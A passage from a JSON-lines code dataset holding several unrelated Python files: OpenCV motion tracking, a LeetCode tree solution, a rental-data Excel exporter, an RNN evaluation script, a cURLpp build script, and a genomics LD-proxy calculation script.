15),\n maxLevel=2,\n criteria=(cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 0.03))\n\n # Create some random colors\n color = np.random.randint(0, 255, (100, 3))\n\n # Take first frame and find corners in it\n ret, old_frame = cap.read()\n if not ret:\n return\n old_frame = imutils.resize(old_frame, width=800)\n old_gray = cv2.cvtColor(old_frame, cv2.COLOR_BGR2GRAY)\n # old_gray, old_orig = grab_and_convert_frame(cap)\n # if old_gray is None:\n # return\n p0 = cv2.goodFeaturesToTrack(old_gray, mask=None, **feature_params)\n\n # Create a mask image for drawing purposes\n mask = np.zeros_like(old_frame)\n\n while True:\n # frame_gray, orig = grab_and_convert_frame(cap)\n ret, frame = cap.read()\n if not ret:\n print('No frame could be grabbed. Exiting video processing...')\n break\n\n frame = imutils.resize(frame, width=800)\n frame_gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n # if the frame could not be grabbed, then we have reached the end of the video\n # if frame_gray is None:\n # print('No frame could be grabbed. Exiting video processing...')\n # break\n\n # calculate optical flow\n p1, st, err = cv2.calcOpticalFlowPyrLK(old_gray, frame_gray, p0, None, **lk_params)\n\n # Select good points\n good_new = p1[st == 1]\n good_old = p0[st == 1]\n\n # draw the tracks\n for i, (new, old) in enumerate(zip(good_new, good_old)):\n # print(i, (new, old))\n a, b = new.ravel()\n c, d = old.ravel()\n cv2.line(mask, (a, b), (c, d), color[i % 100].tolist(), 2)\n cv2.circle(frame_gray, (a, b), 5, color[i % 100].tolist(), -1)\n\n #\n # cv2.imshow('mask', mask)\n img = cv2.add(frame, mask)\n cv2.imshow('frame', img)\n\n k = cv2.waitKey(30) & 0xff\n if k == ord('q'):\n break\n\n # Now update the previous frame and previous points\n old_gray = frame_gray.copy()\n p0 = good_new.reshape(-1, 1, 2)\n\n cv2.destroyAllWindows()\n cap.release()\n\n\ndef create_and_parse_args():\n \"\"\"Create the args for the program\"\"\"\n ap = argparse.ArgumentParser()\n ap.add_argument(\"video\", type=str, help=\"path to the video file\")\n ap.add_argument(\"-o\", \"--out_dir\", type=str, help=\"path to output directory\")\n ap.add_argument(\"-a\", \"--min_area\", type=int, default=500, help=\"minimum area size\")\n return vars(ap.parse_args())\n\n\nif __name__ == '__main__':\n args = create_and_parse_args()\n process(args.get('video', None), args.get('out_dir', None))","repo_name":"barcharcraz/EECS442Project","sub_path":"motion_detect.py","file_name":"motion_detect.py","file_ext":"py","file_size_in_byte":14473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"27345034366","text":"# Leetcode\n# https://leetcode.com/problems/average-of-levels-in-binary-tree/\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\n\n\nclass Solution:\n def averageOfLevels(self, root: TreeNode) -> List[float]:\n queue = deque([root])\n out = []\n while queue:\n total, count = 0, len(queue)\n for _ in range(len(queue)):\n curr = queue.popleft()\n total += curr.val\n if curr.left:\n queue.append(curr.left)\n if curr.right:\n queue.append(curr.right)\n out.append(total / count)\n return out\n","repo_name":"sharadbhat/Competitive-Coding","sub_path":"LeetCode/Average_Of_Levels_In_Binary_Tree.py","file_name":"Average_Of_Levels_In_Binary_Tree.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"9213428225","text":"# -*- coding: utf-8 -*-\nimport sys,os\nsys.path.append('../')\n\n\nfrom get_elastic import general_functions\n\n#Fields where data will be write\nrentalia_file ='rentalia.xls'\nCSVdir='/usr/local/airflow/data_analysis/get_elastic/excels'\nrentalia_file = os.path.join(CSVdir, rentalia_file)\n\n\nsheets_and_indexes = {'0':[\"index_list_homes_rentalia\",\"index_list_description_rentalia\"]}\ntypes_index = {'0':[\"unstructured\", \"unstructured\"]}\n\nmain_field = \"id_rentalia\"\nname_items = {\"index_list_homes_rentalia\":[\"id_rentalia\", \"title\", \"url\", \"price\", \"rooms\",\"bathrooms\", \"beds\", \"capacity\", \"place\", \"upload_date\"], \\\n \"index_list_description_rentalia\":[\"type_residence\", \"numberReviews\", \"mainBubbles\", \"capacity\", \"min_stay\", \"lng\", \"lat\"]}\n\nrestriction = {'place':'Puerto de la Cruz'}\n\n\ngeneral_functions.write_excel(sheets_and_indexes, types_index, name_items, rentalia_file, main_field=main_field, restriction = restriction)\n\n\n","repo_name":"jesustorresdev/vituin-project","sub_path":"airflow/data_analysis/get_elastic/get_holiday_rent/rentalia.py","file_name":"rentalia.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35551312454","text":"import time\nimport math\nimport os\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nimport numpy as np\nimport argparse\n\nimport sklearn.metrics as skm\n\nfrom src.model import RNNClassifier\n\nimport src.plot_RNN as plot_RNN\nfrom src.simbiots_dataset import SimbiotsDataset\nfrom src.simbiots_dataset import SimbiotsActions\n\n\n# Some utility functions\ndef time_since(since):\n s = time.time() - since\n m = math.floor(s / 60)\n s -= m * 60\n return '%dm %ds' % (m, s)\n\n\n# Testing cycle\ndef detect_action_confidence_score(dataset_in, dataset_name_in, min_confidence_score, skip_first_n_samples,\n do_conf_matrix=False,\n normalize_conf_matrix=True):\n\n torch.set_grad_enabled(False)\n classifier.eval()\n\n prediction_samples = []\n groundtruth_samples = []\n index_decision = []\n\n for (input_samples, name_sample, Y) in dataset_in:\n\n # name sample is a tuple with only one value, lets get the string:\n name_sample = name_sample[0]\n\n if use_gpu:\n input_samples = input_samples.cuda()\n Y = Y.cuda()\n\n output = classifier(input_samples)\n\n # remove the batch dimension of output: output[t,1,3]->output[t,3]\n output = output.view(output.size(0), -1)\n # pred_vector = output.data.max(1, keepdim=True)[1]\n pred_probabilities = nn.functional.softmax(output, dim=1)\n\n # lets get the probabilities for all samples in cpu:\n probs = pred_probabilities.cpu().numpy()\n\n probs_skipped_first = probs[skip_first_n_samples:, :]\n\n probs_index = np.argwhere(probs_skipped_first > min_confidence_score)\n\n if len(probs_index) > 0:\n first_index = probs_index[0, 0] + skip_first_n_samples\n class_det = probs_index[0, 1]\n\n # just keep the last element:\n else:\n first_index = probs_skipped_first.shape[0] + skip_first_n_samples\n class_det = np.argmax(probs[-1, :])\n\n prediction_samples.append(class_det)\n groundtruth_samples.append(Y.item())\n index_decision.append(first_index)\n\n if do_conf_matrix:\n\n values = range(3) # 3 actions!!\n\n conf_matrix = skm.confusion_matrix(groundtruth_samples, prediction_samples, values)\n\n if normalize_conf_matrix:\n conf_matrix = conf_matrix.astype('float') / conf_matrix.sum(axis=1)[:, np.newaxis]\n\n f1_meas = skm.f1_score(groundtruth_samples, prediction_samples, values, average=\"micro\")\n\n # accuracy at the last value-> in evaluation mode we check more position of the sequence\n # values = range(3) # 3 actions!!\n # accuracy_final_seq = skm.accuracy_score(groundtruth_samples[-1], prediction_samples[-1], values)\n\n return conf_matrix, f1_meas, index_decision\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--hidden_size\", help=\"select number of hidden units for the RNN\")\n parser.add_argument(\"--dataloader_seed\", help=\"select seed to divide train and test datasets\")\n parser.add_argument(\"--use_gru\", action='store_true', help=\"Use gru units in the RNN\")\n parser.add_argument(\"--use_lstm\", action='store_true', help=\"Use lstm units in the RNN\")\n parser.add_argument(\"--num_samples_train\", help=\"Samples to take from each sequence for training\")\n parser.add_argument(\"--train_set_size\", type=float, default=75, help=\"percentage of samples for training\")\n parser.add_argument(\"--output_folder\", default=\"checkpoint_simbiots\", help=\"output folder to generate results\")\n\n parser.add_argument(\"--execution_mode\", help=\"execution_mode can be whether train or eval\")\n parser.add_argument(\"--use_cpu\", action='store_true', default=False, help=\"Use cpu instead of gpu\")\n\n # deactivate if we want to get inference time:\n parser.add_argument(\"--compute_conf_matrix\", action='store_true', default=True, help=\"Use lstm units in the RNN\")\n\n # if the confidence is above min_confidence_score the action will be recognised\n # min_confidence_score = 0.5\n parser.add_argument(\"--min_confidence_score\",\n help=\"if the confidence is above min_confidence_score the action will be recognised\")\n\n args = parser.parse_args()\n\n if args.use_gru == args.use_lstm:\n print(\"ERROR use_gru and use_lstm have the same value\")\n exit()\n\n if args.use_gru:\n use_gru = True\n if args.use_lstm:\n use_gru = False\n\n if args.execution_mode == \"train\" or args.execution_mode == \"eval\":\n execution_mode = args.execution_mode\n else:\n print(\"ERROR execution_mode should be whether train or eval!!\")\n exit()\n\n hidden_size = int(args.hidden_size)\n\n # tested with a relu layer after the gru / lstm -> same results in clothes dataset\n use_relu = False\n\n # seed to divide between train and test:\n dataloader_random_seed = int(args.dataloader_seed)\n\n input_size = 6 # fx,fy,fz,tx,ty,tz\n output_size = 3 # 3 actions: 0:'open_gripper', 1:'move', 2:'hold'\n # Parameters and DataLoaders\n # hidden_size = 200 -> as parameter\n\n # TODO: test with more layers?\n n_layers = 1\n\n # only works for batch_size = 1 since the dataloader needs a fix size for the last size (it can be done\n # with a collate function but I would prefer not to append values\n # https://discuss.pytorch.org/t/how-to-create-a-dataloader-with-variable-size-input/8278/2\n BATCH_SIZE = 1\n N_EPOCHS = 200 # 00\n\n # the first temporal samples are not used to do the decision -> keep half of the first window that we were\n # using until now (first window is 0.1 seconds -> 50 samples\n skip_initials = 25\n\n # sensor give 500 samples each second\n sensor_samples_per_second = 500\n\n # positions where we will check the output of the model:\n # todo: make it work with 500 samples also!\n windows_check_accuracy = [50, 100, 250, 350, -1] # , 500]\n\n lr_value = 0.001 # TODO: test\n\n # parameters for data length (aolivares)\n number_of_measurements = int(args.num_samples_train) # 1000 # 350 size of the window\n\n min_confidence_score = float(args.min_confidence_score)\n\n print(min_confidence_score)\n\n # ######################################\n # creating output path and dataloaders:\n # ######################################\n\n # lets create the name of the output method:\n name_method = \"aolivares_hidden_\" + str(hidden_size) + \"_\" + str(n_layers) + \"_\" + str(lr_value)\n\n if use_gru:\n name_method = name_method + \"_\" + \"gru\"\n else:\n name_method = name_method + \"_\" + \"lstm\"\n\n if use_relu:\n name_method = name_method + \"_\" + \"relu\"\n\n checkpoint_dir = \"checkpoint/\" + \"train_size_\" + str(int(args.train_set_size*100)) + \"/random_seed_\" + str(dataloader_random_seed) + \"/\"\n\n outpath_recap = args.output_folder # + \"train_size_\" + str(int(args.train_set_size*100)) + \"/random_seed_\" + str(dataloader_random_seed) + \"/\"\n if not os.path.isdir(outpath_recap):\n os.makedirs(outpath_recap)\n\n classifier = RNNClassifier(input_size, hidden_size, output_size, n_layers,\n bidirectional=False, use_gru=use_gru, use_relu=use_relu)\n\n # by default we use gpu\n use_gpu = True\n if args.use_cpu:\n use_gpu = False\n\n if use_gpu:\n\n print(\"using GPU\")\n\n if torch.cuda.device_count() > 1:\n print(\"Let's use\", torch.cuda.device_count(), \"GPUs!\")\n # dim = 0 [33, xxx] -> [11, ...], [11, ...], [11, ...] on 3 GPUs\n classifier = torch.nn.DataParallel(classifier)\n\n if torch.cuda.is_available():\n classifier.cuda()\n else:\n print(\"using CPU\")\n\n classifier.cpu()\n\n optimizer = torch.optim.Adam(classifier.parameters(), lr=lr_value)\n\n # CrossEntropyLoss This criterion combines nn.LogSoftmax() and nn.NLLLoss() in one single class.\n # LogSoftmax Applies the log(Softmax(x))\\log(\\text{Softmax}(x))log(Softmax(x))\n # function to an n-dimensional input Tensor\n # NLLLoss The negative log likelihood loss. It is useful to train a classification problem with C classes.\n criterion = torch.nn.CrossEntropyLoss()\n\n\n import src.AOlivares_functions as AOlivares_functions\n import src.simbiots_dataset as simbiots_dataset\n\n # variables for processing the data\n type_of_dataset = 'natural' # natural or mechanical -> natural is the hard one\n labels = {0: 'grab', 1: 'move', 2: 'polish'}\n dataset_folder = 'force_based_human_intention_inference/data/'\n\n final_signal_size_percentage = 1 # 0.02 # percentage of the total signal which is kept after subsampling\n step = int(round(1 / final_signal_size_percentage)) # for subsampling\n\n processed_data = AOlivares_functions.read_dataset_(dataset_folder, type_of_dataset, labels)\n\n data_training, data_test = AOlivares_functions.pick_training_dataset_randomly_(processed_data,\n args.train_set_size,\n number_of_measurements, step,\n labels,\n random_seed_dataset=dataloader_random_seed,\n normalize=True)\n\n test_dataset = simbiots_dataset.SimbiotsDatasetAOlivares(data_test)\n test_loader = DataLoader(dataset=test_dataset, batch_size=1, shuffle=True)\n\n train_dataset = simbiots_dataset.SimbiotsDatasetAOlivares(data_training)\n train_loader = DataLoader(dataset=train_dataset, batch_size=1, shuffle=True, )\n\n datasets_to_check = [train_loader, test_loader]\n datasets_names = [\"train\", \"test\"]\n\n print(train_dataset.len)\n print(test_dataset.len)\n\n start = time.time()\n\n # eval mode:\n # if execution_mode == \"eval\":\n\n # lets load the best model and d the inference doing the plot:\n print(\"doing inference with the final model\")\n\n # epoch it is used in test to print the current epoch:\n f = open(checkpoint_dir + name_method + \"/best_epoch.txt\", \"r\")\n best_epoch = int(f.read())\n\n classifier.load_state_dict(torch.load(checkpoint_dir + name_method + \"/best.pt\"))\n\n for elem in range(len(datasets_to_check)):\n dataset_name = datasets_names[elem]\n dataset = datasets_to_check[elem]\n\n print(\"Dataset: \" + dataset_name)\n epoch_start = time.time()\n\n # loss_final, accuracy_final, conf_matrix, accuracy_aligned_final, conf_matrix_aligned = \\\n conf_mat, f1_measure, index_decisions = \\\n detect_action_confidence_score(dataset, dataset_name, min_confidence_score, skip_initials,\n do_conf_matrix=args.compute_conf_matrix)\n\n print(\"Dataset: \" + dataset_name + \" time = \" + time_since(epoch_start))\n\n mean_index_decision = np.mean(index_decisions)\n\n # plot results:\n actions_name = list(SimbiotsActions.keys())\n\n # as we have equal samples of each class accuracy = f1_measure\n # https://simonhessner.de/why-are-precision-recall-and-f1-score-equal-when-using-micro-averaging-in-a-multi-class-problem/\n\n print(\"Writing results to \" + outpath_recap)\n\n window_size_name = \"confidence_\" + str(min_confidence_score)\n\n # write f1 obtained for the selected confidence:\n with open(outpath_recap + dataset_name + \"_\" + window_size_name + \"_f1.txt\", \"w\") as fp:\n fp.write(str(f1_measure) + \"\\n\")\n\n # write number of samples needed to do the decision:\n with open(outpath_recap + dataset_name + \"_\" + window_size_name + \"_mean_index.txt\", \"w\") as fp:\n fp.write(str(mean_index_decision / sensor_samples_per_second) + \"\\n\")\n\n output_confusion_matrix = outpath_recap + \\\n dataset_name + \"_\" + window_size_name + \"_conf_matrix\"\n\n plot_RNN.write_matrix_to_disk(output_confusion_matrix + \".txt\", conf_mat, best_epoch)\n\n plot_RNN.plot_confusion_matrix(conf_mat, classes=actions_name,\n title='Confusion Matrix',\n file=output_confusion_matrix + \".png\")\n\n print(window_size_name + \"\\t\\t Acc: \" + '{0:.2f}'.format(f1_measure) +\n \"\\t\\t Mean index decision: \" + '{0:.2f}'.format(mean_index_decision))\n\n","repo_name":"mmaceira/RNN_for_Inferring_Intentions","sub_path":"main_eval_confidence_based_decision.py","file_name":"main_eval_confidence_based_decision.py","file_ext":"py","file_size_in_byte":12553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"37935141949","text":"options = session.module.options\n\nsource_directory = external_archive(\n \"https://github.com/jpbarrette/curlpp/archive/{}.zip\".format(options.version)\n)\n\nif options.static:\n session.options.setdefault('craftr.lib.curl.static', True)\nelse:\n session.options.setdefault('craftr.lib.curl.static', False)\n\ncxx = load('craftr.lang.cxx')\ncurl = load('craftr.lib.curl')\n\ncURLpp = Framework('cURLpp',\n include = [path.join(source_directory, 'include')],\n defines = [],\n frameworks = [curl.cURL]\n)\n\nif options.static:\n cURLpp['defines'] += ['CURLPP_STATICLIB']\n\ncURLpp_library = cxx.library(\n link_style = 'static' if options.static else 'shared',\n inputs = cxx.compile_cpp(\n sources = glob(['src/**/*.cpp'], parent = source_directory),\n frameworks = [cURLpp],\n defines = ['BUILDING_CURLPP'],\n rtti = True\n ),\n output = 'cURLpp'\n)\n\ncxx.extend_framework(cURLpp, cURLpp_library)\n\n","repo_name":"alex-700/craftr","sub_path":"craftr/stl_auxiliary/craftr.lib.curlpp/from_source.py","file_name":"from_source.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"} +{"seq_id":"71953856421","text":"#!/usr/bin/env python3\nimport json\nimport operator\nimport os\nimport subprocess\nimport sys\nimport time\nimport threading\nimport weakref\nimport time\nfrom multiprocessing.dummy import Pool\nfrom LDcommon import retrieveAWSCredentials, genome_build_vars, connectMongoDBReadOnly\nfrom LDcommon import validsnp,get_coords,replace_coord_rsid,get_population,get_query_variant_c,chunkWindow,get_output,ldproxy_figure\nfrom LDutilites import get_config\n\n# Create LDproxy function\ndef calculate_proxy(snp, pop, request, web, genome_build, r2_d=\"r2\", window=500000, collapseTranscript=True, annotate=\"forge\"):\n\n # trim any whitespace\n snp = snp.lower().strip()\n\n start_time = time.time()\n \n # Set data directories using config.yml\n param_list = get_config()\n dbsnp_version = param_list['dbsnp_version']\n population_samples_dir = param_list['population_samples_dir']\n data_dir = param_list['data_dir']\n tmp_dir = param_list['tmp_dir']\n genotypes_dir = param_list['genotypes_dir']\n aws_info = param_list['aws_info']\n num_subprocesses = param_list['num_subprocesses']\n\n export_s3_keys = retrieveAWSCredentials()\n\n # Ensure tmp directory exists\n if not os.path.exists(tmp_dir):\n os.makedirs(tmp_dir)\n\n if request is False:\n request = str(time.strftime(\"%I%M%S\"))\n\n # Create JSON output\n out_json = open(tmp_dir + 'proxy' + request + \".json\", \"w\")\n output = {}\n\n validsnp(None,genome_build,None)\n\n if window < 0 or window > 1000000:\n output[\"error\"] = \"Window value must be a number between 0 and 1,000,000.\"\n json_output = json.dumps(output, sort_keys=True, indent=2)\n print(json_output, file=out_json)\n out_json.close()\n return(\"\", \"\")\n\n # Connect to Mongo snp database\n db = connectMongoDBReadOnly(web)\n snp = replace_coord_rsid(db,snp,genome_build,output)\n\n # Find RS number in snp database\n snp_coord = get_coords(db,snp)\n\n if snp_coord == None or snp_coord[genome_build_vars[genome_build]['position']] == \"NA\":\n output[\"error\"] = snp + \" is not in dbSNP \" + dbsnp_version + \" (\" + genome_build_vars[genome_build]['title'] + \").\"\n json_output = json.dumps(output, sort_keys=True, indent=2)\n print(json_output, file=out_json)\n out_json.close()\n return(\"\", \"\")\n\n # check if variant is on chrY for genome build = GRCh38\n if snp_coord['chromosome'] == \"Y\" and (genome_build == \"grch38\" or genome_build == \"grch38_high_coverage\"):\n output[\"error\"] = \"Input variants on chromosome Y are unavailable for GRCh38, only available for GRCh37 (\" + \"rs\" + snp_coord['id'] + \" = chr\" + snp_coord['chromosome'] + \":\" + snp_coord[genome_build_vars[genome_build]['position']] + \")\"\n json_output = json.dumps(output, sort_keys=True, indent=2)\n print(json_output, file=out_json)\n out_json.close()\n return(\"\", \"\")\n\n # Select desired ancestral populations\n pop_ids = get_population(pop,request,output)\n if isinstance(pop_ids,str):\n print(pop_ids, file=out_json)\n out_json.close()\n return(\"\",\"\")\n\n temp = [snp, str(snp_coord['chromosome']), int(snp_coord[genome_build_vars[genome_build]['position']])]\n #print(temp)\n (geno,tmp_dist, warningmsg) = get_query_variant_c(temp, pop_ids, str(request), genome_build, True,output)\n #print(warningmsg)\n for msg in warningmsg:\n if msg[1] == \"NA\":\n if \"biallelic\" in msg[2] or \"monoallelic\" in msg[2]:\n output[\"error\"] = str(output[\"error\"] if \"error\" in output else \"\") + msg[2]\n json_output = json.dumps(output, sort_keys=True, indent=2)\n print(json_output, file=out_json)\n out_json.close()\n subprocess.call(\"rm \" + tmp_dir + \"pops_\" + request + \".txt\", shell=True)\n subprocess.call(\"rm \" + tmp_dir + \"*\" + request + \"*.vcf\", shell=True)\n return(\"\", \"\")\n else:\n output[\"warning\"] = str(output[\"warning\"] if \"warning\" in output else \"\") + msg[2]\n snp = geno[2]\n \n # Define window of interest around query SNP\n # window = 500000\n coord1 = int(snp_coord[genome_build_vars[genome_build]['position']]) - window\n if coord1 < 0:\n coord1 = 0\n coord2 = int(snp_coord[genome_build_vars[genome_build]['position']]) + window\n #print(\"#########\",coord1,coord2)\n print(\"\")\n\n # Calculate proxy LD statistics in parallel\n # threads = 4\n # block = (2 * window) // 4\n # block = (2 * window) // num_subprocesses\n\n windowChunkRanges = chunkWindow(int(snp_coord[genome_build_vars[genome_build]['position']]), window, num_subprocesses)\n\n commands = []\n\n for subprocess_id in range(num_subprocesses):\n getWindowVariantsArgs = \" \".join([str(web), str(snp), str(snp_coord['chromosome']), str(windowChunkRanges[subprocess_id][0]), str(windowChunkRanges[subprocess_id][1]), str(request), genome_build, str(subprocess_id)])\n commands.append(\"python3 LDproxy_sub.py \" + getWindowVariantsArgs)\n\n processes = [subprocess.Popen(\n command, shell=True, stdout=subprocess.PIPE) for command in commands]\n # for subp in processes:\n # for line in subp.stdout:\n # print(line.decode().strip())\n \n if not hasattr(threading.current_thread(), \"_children\"):\n threading.current_thread()._children = weakref.WeakKeyDictionary()\n\n pool = Pool(len(processes))\n out_raw = pool.map(get_output, processes)\n pool.close()\n pool.join()\n\n # Aggregate output\n out_prox = []\n for i in range(len(out_raw)):\n for j in range(len(out_raw[i])):\n col = out_raw[i][j].decode('utf-8').strip().split(\"\\t\")\n col[6] = int(col[6])\n col[7] = float(col[7])\n col[8] = float(col[8])\n col.append(abs(int(col[6])))\n out_prox.append(col)\n #print(len(out_prox),(out_prox[0]))\n # Sort output\n if r2_d not in [\"r2\", \"d\"]:\n if \"warning\" in output:\n output[\"warning\"] = output[\"warning\"] + \". \" + r2_d + \\\n \" is not an acceptable value for r2_d (r2 or d required). r2 is used by default\"\n else:\n output[\"warning\"] = r2_d + \\\n \" is not an acceptable value for r2_d (r2 or d required). r2 is used by default\"\n r2_d = \"r2\"\n\n out_dist_sort = sorted(out_prox, key=operator.itemgetter(15))\n\n if r2_d == \"r2\":\n out_ld_sort = sorted(\n out_dist_sort, key=operator.itemgetter(8), reverse=True)\n else:\n out_ld_sort = sorted(\n out_dist_sort, key=operator.itemgetter(7), reverse=True)\n\n # Populate JSON and text output\n outfile = open(tmp_dir + \"proxy\" + request + \".txt\", \"w\")\n header = [\"RS_Number\", \"Coord\", \"Alleles\", \"MAF\", \"Distance\",\n \"Dprime\", \"R2\", \"Correlated_Alleles\", \"FORGEdb\",\"RegulomeDB\", \"Function\"]\n print(\"\\t\".join(header), file=outfile)\n\n ucsc_track = {}\n ucsc_track[\"header\"] = [\"chr\", \"pos\", \"rsid\", \"stat\"]\n\n query_snp = {}\n query_snp[\"RS\"] = out_ld_sort[0][3]\n query_snp[\"Alleles\"] = out_ld_sort[0][1]\n query_snp[\"Coord\"] = out_ld_sort[0][2]\n query_snp[\"Dist\"] = out_ld_sort[0][6]\n query_snp[\"Dprime\"] = str(round(float(out_ld_sort[0][7]), 4))\n query_snp[\"R2\"] = str(round(float(out_ld_sort[0][8]), 4))\n query_snp[\"Corr_Alleles\"] = out_ld_sort[0][9]\n query_snp[\"ForgeDB\"] = out_ld_sort[0][10]\n query_snp[\"RegulomeDB\"] = out_ld_sort[0][11]\n query_snp[\"MAF\"] = str(round(float(out_ld_sort[0][13]), 4))\n query_snp[\"Function\"] = out_ld_sort[0][14]\n\n output[\"query_snp\"] = query_snp\n\n temp = [query_snp[\"RS\"], query_snp[\"Coord\"], query_snp[\"Alleles\"], query_snp[\"MAF\"], str(query_snp[\"Dist\"]), str(\n query_snp[\"Dprime\"]), str(query_snp[\"R2\"]), query_snp[\"Corr_Alleles\"], query_snp[\"ForgeDB\"] if len(query_snp[\"ForgeDB\"]) >0 else \"NA\",query_snp[\"RegulomeDB\"], query_snp[\"Function\"]]\n print(\"\\t\".join(temp), file=outfile)\n\n chr, pos = query_snp[\"Coord\"].split(':')\n if r2_d == \"r2\":\n temp2 = [chr, pos, query_snp[\"RS\"], query_snp[\"R2\"]]\n else:\n temp2 = [chr, pos, query_snp[\"RS\"], query_snp[\"Dprime\"]]\n\n ucsc_track[\"query_snp\"] = temp2\n\n ucsc_track[\"0.8-1.0\"] = []\n ucsc_track[\"0.6-0.8\"] = []\n ucsc_track[\"0.4-0.6\"] = []\n ucsc_track[\"0.2-0.4\"] = []\n ucsc_track[\"0.0-0.2\"] = []\n\n proxies = {}\n rows = []\n digits = len(str(len(out_ld_sort)))\n \n for i in range(1, len(out_ld_sort)):\n if float(out_ld_sort[i][8]) > 0.01 and out_ld_sort[i][3] != snp:\n proxy_info = {}\n row = []\n proxy_info[\"RS\"] = out_ld_sort[i][3]\n proxy_info[\"Alleles\"] = out_ld_sort[i][4]\n proxy_info[\"Coord\"] = out_ld_sort[i][5]\n proxy_info[\"Dist\"] = out_ld_sort[i][6]\n proxy_info[\"Dprime\"] = str(round(float(out_ld_sort[i][7]), 4))\n proxy_info[\"R2\"] = str(round(float(out_ld_sort[i][8]), 4))\n proxy_info[\"Corr_Alleles\"] = out_ld_sort[i][9]\n proxy_info[\"ForgeDB\"] = out_ld_sort[i][10]\n proxy_info[\"RegulomeDB\"] = out_ld_sort[i][11]\n proxy_info[\"MAF\"] = str(round(float(out_ld_sort[i][13]), 4))\n proxy_info[\"Function\"] = out_ld_sort[i][14]\n proxies[\"proxy_\" + (digits - len(str(i))) *\n \"0\" + str(i)] = proxy_info\n chr, pos = proxy_info[\"Coord\"].split(':')\n\n # Adding a row for the Data Table\n row.append(proxy_info[\"RS\"])\n row.append(chr)\n row.append(pos)\n row.append(proxy_info[\"Alleles\"])\n row.append(str(round(float(proxy_info[\"MAF\"]), 4)))\n row.append(abs(proxy_info[\"Dist\"]))\n row.append(str(round(float(proxy_info[\"Dprime\"]), 4)))\n row.append(str(round(float(proxy_info[\"R2\"]), 4)))\n row.append(proxy_info[\"Corr_Alleles\"])\n row.append(proxy_info[\"ForgeDB\"])\n row.append(proxy_info[\"RegulomeDB\"])\n row.append(\"HaploReg link\")\n row.append(proxy_info[\"Function\"])\n rows.append(row)\n \n temp = [proxy_info[\"RS\"], proxy_info[\"Coord\"], proxy_info[\"Alleles\"], proxy_info[\"MAF\"], str(proxy_info[\"Dist\"]), str(\n proxy_info[\"Dprime\"]), str(proxy_info[\"R2\"]), proxy_info[\"Corr_Alleles\"], proxy_info[\"ForgeDB\"] if len(proxy_info[\"ForgeDB\"]) >0 else \"NA\",proxy_info[\"RegulomeDB\"], proxy_info[\"Function\"]]\n print(\"\\t\".join(temp), file=outfile)\n\n chr, pos = proxy_info[\"Coord\"].split(':')\n if r2_d == \"r2\":\n temp2 = [chr, pos, proxy_info[\"RS\"],\n round(float(out_ld_sort[i][8]), 4)]\n else:\n temp2 = [chr, pos, proxy_info[\"RS\"],\n round(float(out_ld_sort[i][7]), 4)]\n\n if 0.8 < temp2[3] <= 1.0:\n ucsc_track[\"0.8-1.0\"].append(temp2)\n elif 0.6 < temp2[3] <= 0.8:\n ucsc_track[\"0.6-0.8\"].append(temp2)\n elif 0.4 < temp2[3] <= 0.6:\n ucsc_track[\"0.4-0.6\"].append(temp2)\n elif 0.2 < temp2[3] <= 0.4:\n ucsc_track[\"0.2-0.4\"].append(temp2)\n else:\n ucsc_track[\"0.0-0.2\"].append(temp2)\n\n track = open(tmp_dir + \"track\" + request + \".txt\", \"w\")\n print(\"browser position chr\" + \\\n str(snp_coord['chromosome']) + \":\" + str(coord1) + \"-\" + str(coord2), file=track)\n print(\"\", file=track)\n\n if r2_d == \"r2\":\n print(\"track type=bedGraph name=\\\"R2 Plot\\\" description=\\\"Plot of R2 values\\\" color=50,50,50 visibility=full alwaysZero=on graphType=bar maxHeightPixels=60\", file=track)\n else:\n print(\"track type=bedGraph name=\\\"D Prime Plot\\\" description=\\\"Plot of D prime values\\\" color=50,50,50 visibility=full alwaysZero=on graphType=bar maxHeightPixels=60\", file=track)\n\n print(\"\\t\".join(\n [str(ucsc_track[\"query_snp\"][i]) for i in [0, 1, 1, 3]]), file=track)\n if len(ucsc_track[\"0.8-1.0\"]) > 0:\n for var in ucsc_track[\"0.8-1.0\"]:\n print(\"\\t\".join([str(var[i]) for i in [0, 1, 1, 3]]), file=track)\n if len(ucsc_track[\"0.6-0.8\"]) > 0:\n for var in ucsc_track[\"0.6-0.8\"]:\n print(\"\\t\".join([str(var[i]) for i in [0, 1, 1, 3]]), file=track)\n if len(ucsc_track[\"0.4-0.6\"]) > 0:\n for var in ucsc_track[\"0.4-0.6\"]:\n print(\"\\t\".join([str(var[i]) for i in [0, 1, 1, 3]]), file=track)\n if len(ucsc_track[\"0.2-0.4\"]) > 0:\n for var in ucsc_track[\"0.2-0.4\"]:\n print(\"\\t\".join([str(var[i]) for i in [0, 1, 1, 3]]), file=track)\n if len(ucsc_track[\"0.0-0.2\"]) > 0:\n for var in ucsc_track[\"0.0-0.2\"]:\n print(\"\\t\".join([str(var[i]) for i in [0, 1, 1, 3]]), file=track)\n print(\"\", file=track)\n\n print(\"track type=bed name=\\\"\" + snp + \\\n \"\\\" description=\\\"Query Variant: \" + snp + \"\\\" color=108,108,255\", file=track)\n print(\"\\t\".join([ucsc_track[\"query_snp\"][i]\n for i in [0, 1, 1, 2]]), file=track)\n print(\"\", file=track)\n\n if len(ucsc_track[\"0.8-1.0\"]) > 0:\n if r2_d == \"r2\":\n print(\"track type=bed name=\\\"0.8 0:\n if r2_d == \"r2\":\n print(\"track type=bed name=\\\"0.6 0:\n if r2_d == \"r2\":\n print(\"track type=bed name=\\\"0.4 0:\n if r2_d == \"r2\":\n print(\"track type=bed name=\\\"0.2 0:\n if r2_d == \"r2\":\n print(\"track type=bed name=\\\"0.0> out_html, html\n # out_html.close()\n \n from bokeh.embed import components\n \n from 